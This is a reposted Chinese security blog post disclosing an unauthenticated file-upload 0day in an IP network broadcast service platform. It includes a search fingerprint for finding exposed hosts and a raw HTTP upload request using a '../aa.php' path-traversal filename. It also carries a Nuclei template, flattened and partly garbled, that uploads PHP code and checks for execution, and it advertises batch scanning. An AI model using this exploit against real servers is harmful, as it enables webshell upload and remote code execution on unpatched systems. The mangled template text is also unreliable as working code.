web.icon=="9091011a03bffd9898d79fc589a2c65d"
复现详细步骤
POST /api/v2/remote-upgrade/upload HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryruvtJJYIs63ReAhU
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Length: 195
------WebKitFormBoundaryruvtJJYIs63ReAhU
Content-Disposition: form-data; name="file"; filename="../aa.php"
Content-Type: application/octet-stream
------WebKitFormBoundaryruvtJJYIs63ReAhU--
审计过程：
如图获取文件上传接口
文件处理函数钟未对上传的文件进行校验
id: ip-broadcast-service-platform-file-uploadinfo:name: IP网络广播服务平台文件上传漏洞author: Tingseverity: criticaldescription: |IP网络广播服务平台文件上传漏洞reference:https://metadata:verified: true: 1: 'icon_hash="-568806419"'tags: rce,upload,phphttp:raw:|POST /api/v2/remote-upgrade/upload HTTP/1.1Host: {{Hostname}}: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36: multipart/form-data; boundary=----WebKitFormBoundaryruvtJJYIs63ReAhUAccept: */*: gzip, deflate, br: zh-CN,zh;q=0.9Connection: keep-alive: 195------WebKitFormBoundaryruvtJJYIs63ReAhU: form-data; name="file"; filename="../aa.php": application/octet-streamecho md5(1);unlink(__FILE__);?>------WebKitFormBoundaryruvtJJYIs63ReAhU--|GET /uploads/remote_upgrade/{{filepath}}.php HTTP/1.1Host: {{Hostname}}: andmatchers:type: wordpart: body_2words:'c4ca4238a0b923820dcc509a6f75849b'condition: andextractors:type: regexname: filepathgroup: 1internal: trueregex:'\/remote_upgrade\/(.*).php'
可后台回复20240803获取nuclei-yaml
原文始发于微信公众号（Ting丶的安全笔记）：IP广播服务平台未授权文件上传getshell-0Day附批量POC
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